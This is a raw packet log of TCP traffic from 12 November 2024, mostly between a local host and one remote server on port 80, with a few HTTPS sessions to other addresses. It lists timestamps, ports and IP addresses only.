Nov 12, 2024 06:23:33.162787914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162831068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162841082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162849903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162884951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.163181067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.163343906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.163355112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.163368940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.163459063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.237802029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237818956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237832069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237848043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237906933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237919092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237926960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.237926960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.237931967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.237953901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.237997055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238069057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238080978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238091946 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238138914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238138914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238217115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238229036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238240957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238285065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238285065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238518000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238528967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238545895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238557100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238565922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238569021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238578081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238583088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238600016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238668919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238719940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238730907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238744020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238763094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238827944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238840103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.238851070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238945007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.238996029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239007950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239018917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239037991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239124060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239320040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239331007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239341974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239352942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239366055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239375114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239386082 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239418983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239428997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239440918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239453077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239464998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239476919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239489079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239489079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239502907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239509106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239516973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.239521980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239537001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.239629030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.263264894 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.263403893 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.263583899 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.263583899 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.263657093 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.263669014 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.266361952 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.266401052 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.266633987 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.266633987 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.266669989 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.277571917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277585030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277595997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277635098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.277698040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.277734995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277745962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277761936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.277782917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.277838945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278048038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278064013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278076887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278088093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278101921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278119087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278122902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278131962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278193951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278202057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278223991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278244019 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278450012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278531075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278541088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278552055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278563976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278574944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.278584003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278594017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.278702021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.298003912 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.298218012 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.301518917 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.301548958 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.301661015 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.301691055 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.301934004 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.302063942 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.302385092 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.302453041 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.302716970 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.302794933 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:33.325238943 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.325908899 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.325941086 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.326540947 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.326548100 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.340428114 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.340461016 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.340476036 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.340614080 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.340641022 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.340799093 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.346144915 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.346146107 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:33.346432924 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.347356081 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.347383976 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.351717949 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.351738930 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.352890968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352916002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352930069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352942944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352956057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352967978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.352977037 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.352998018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353018999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353033066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353041887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353044987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353059053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353102922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353102922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353171110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353183985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353199959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353214025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353223085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353228092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353270054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353270054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353424072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353436947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353449106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353466988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353511095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353549004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353562117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353579044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353590012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353635073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353635073 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353771925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353785038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353796005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353810072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.353887081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.353887081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354013920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354063988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354080915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354087114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354094982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354105949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354108095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354132891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354166031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354209900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354232073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354279041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354290962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354300976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354302883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354383945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354477882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354527950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354552031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354552984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354566097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354578972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.354588985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354588985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354624987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.354624987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.371489048 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.372050047 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.372078896 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.372560024 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.372565985 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.378695965 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.379384041 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.379407883 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.379859924 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.379865885 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.392939091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.392957926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.392968893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.392982960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.392993927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393007040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393016100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393062115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393083096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393095970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393109083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393129110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393241882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393253088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393264055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393265963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393337011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393356085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393368006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393379927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393400908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393436909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393502951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393520117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393532038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393543005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393548965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393563032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393578053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393589020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393599987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393610001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393620968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.393630028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.393676043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.452733040 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.452920914 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.455749989 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.455750942 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.455782890 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.455800056 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.459443092 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.459464073 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.459484100 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.459528923 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.459552050 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.459561110 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.459619045 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.459629059 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.460063934 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.460088968 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.468090057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468115091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468127966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468174934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468187094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468187094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468219042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468230963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468241930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468244076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468265057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468271017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468291044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468316078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468326092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468339920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468408108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468421936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468427896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468436956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468441963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468451023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468463898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468480110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468621016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468655109 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468666077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468677044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468688011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468709946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468799114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468822956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468826056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468844891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468856096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468872070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.468885899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.468898058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469064951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469085932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469130039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469141006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469153881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469185114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469196081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469206095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469208002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469227076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469362974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469374895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469388962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469392061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469419956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469430923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469439030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469439030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469443083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469455957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469461918 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469469070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469475031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469511986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469584942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.469769001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469780922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.469794989 CET	80	49779	185.215.113.206	192.168.2.5
